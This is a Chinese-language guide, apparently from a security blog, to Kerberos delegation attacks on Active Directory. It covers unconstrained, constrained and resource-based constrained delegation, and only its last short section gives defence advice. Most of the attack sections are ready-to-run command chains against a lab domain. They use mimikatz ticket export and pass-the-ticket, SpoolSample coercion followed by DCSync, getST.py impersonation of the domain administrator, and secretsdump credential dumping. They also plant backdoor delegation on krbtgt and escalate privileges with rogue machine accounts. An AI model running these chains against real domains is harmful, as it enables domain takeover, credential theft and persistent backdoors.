Kerberos委派攻击的那些事
字数 1764 2025-08-03 16:43:02
Kerberos委派攻击全面指南
1. Kerberos委派概述
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。在域内可以委派的账户有两种:
- 主机账户
- 服务账户(域用户通过注册SPN也可以成为服务账号)
Kerberos委派主要分为三种类型:
- 非约束委派(Unconstrained Delegation)
- 约束委派(Constrained Delegation)
- 基于资源的约束委派(Resource-Based Constrained Delegation)
2. 非约束委派攻击
2.1 原理概述
当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的TGT发送给服务,服务将用户的TGT保存在内存以备下次重用。攻击者拿下该主机后可以获取所有访问过该主机用户的TGT。
2.2 发现方法
使用AdFind工具查找配置了非约束委派的主机:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
2.3 利用方法
-
被动利用:
- 使用mimikatz导出所有票据
- 如果有其他用户访问过该主机,可以通过PTT获取该用户权限
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit kerberos::ptt psexec64.exe \\DC2012.0ne.test -accepteula -s cmd -
主动利用(非约束委派+Spooler打印机服务):
- 利用MS-RPRN协议强制域控向目标主机发起认证
- 使用SpoolSample工具强制认证
SpoolSample.exe DC2012 WIN7- 导出票据后可以获取DC2012$的TGT,符合DCSync利用条件
kerberos::ptt xxxx.kirbi lsadump::dcsync /domain:0ne.test /all /csv
3. 约束委派攻击
3.1 原理概述
约束委派引入了S4U扩展:
- S4U2self:代表自身请求针对其自身的Kerberos服务票据(ST)
- S4U2proxy:以用户的名义请求其它服务的ST
攻击者拿下配置了约束委派的服务账号后,可以:
- 利用S4U2self获得一个可转发的票据
- 把获取到的票据用于S42proxy
- 获取一个可转发的TGS
- 代替任意用户访问被配置的约束委派的服务
3.2 发现方法
使用AdFind工具查找:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
或使用impacket的findDelegation.py:
findDelegation.py -dc-ip 192.168.17.134 -target-domain 0ne.test 0ne.test/zhangsan:zs@123456
3.3 利用方法
-
后门利用:
- 给后门账户注册SPN:
setspn -U -A variant/golden lisi - 配置后门账户到域控的约束委派
- 使用getST.py模拟域管理员申请访问域控的LDAP服务的ST:
getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi -hashes xxxxx:xxxxxx - PTT后使用wmiexec或secretsdump:
export KRB5CCNAME=administrator.ccache wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test secretsdump.py -k -no-pass DC2012.0ne.test -just-dc-user administrator
- 给后门账户注册SPN:
-
横向移动:
- 与后门利用方法类似,使用已控制的约束委派服务账号获取目标服务的访问权限
4. 基于资源的约束委派攻击(RBCD)
4.1 原理概述
与传统的约束委派不同:
- 配置方式相反:通过将service1的SID添加到service2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中
- S4U2self返回的票据即使不可转发,S4U2proxy也可以成功
- S4U2proxy返回的票据总是可转发
默认拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity权限的账户:
- Domain Admins
- mS-DS-CreatorSID(将该机器加入域的账户)
- NT AUTHORITY\SELF(机器账户本身)
4.2 利用条件
- 能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
- 一个具有SPN的账户的TGT
4.3 利用方法
-
后门利用:
- 修改krbtgt或域控的msDS-AllowedToActOnBehalfOfOtherIdentity属性:
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount lisi Set-ADComputer DC2012 -PrincipalsAllowedToDelegateToAccount lisi - 获取ST并利用:
getST.py -dc-ip 192.168.17.134 -spn krbtgt -impersonate administrator 0ne.test/lisi:ls@123456 wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test
- 修改krbtgt或域控的msDS-AllowedToActOnBehalfOfOtherIdentity属性:
-
横向移动:
- 查找mS-DS-CreatorSID相同的机器:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID - 添加机器账号并设置RBCD:
addcomputer.py -dc-ip 192.168.17.134 -computer-name 'test01$' -computer-pass test@123456 0ne.test/zhangsan:zs@123456 rbcd.py -f test01 -t win7 -dc-ip 192.168.17.134 0ne\\zhangsan:zs\@123456 - 获取ST并利用:
getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456 wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@win7.0ne.test
- 查找mS-DS-CreatorSID相同的机器:
-
提权利用:
- 对于IIS等低权限账户:
SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iis wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@web01.0ne.test
- 对于IIS等低权限账户:
5. 防御建议
- 限制非约束委派的使用,仅在绝对必要时启用
- 严格控制约束委派和基于资源的约束委派配置
- 监控敏感账户的SPN注册和修改
- 定期审计域内委派配置
- 限制普通用户将计算机加入域的权限
- 监控异常Kerberos票据请求活动
6. 参考工具
- AdFind - 查询AD信息
- Mimikatz - 提取票据和凭据
- Impacket工具包(findDelegation.py, getST.py等)
- SpoolSample - 强制打印机服务认证
- rbcd.py - 设置基于资源的约束委派
- SharpAllowedToAct - 设置基于资源的约束委派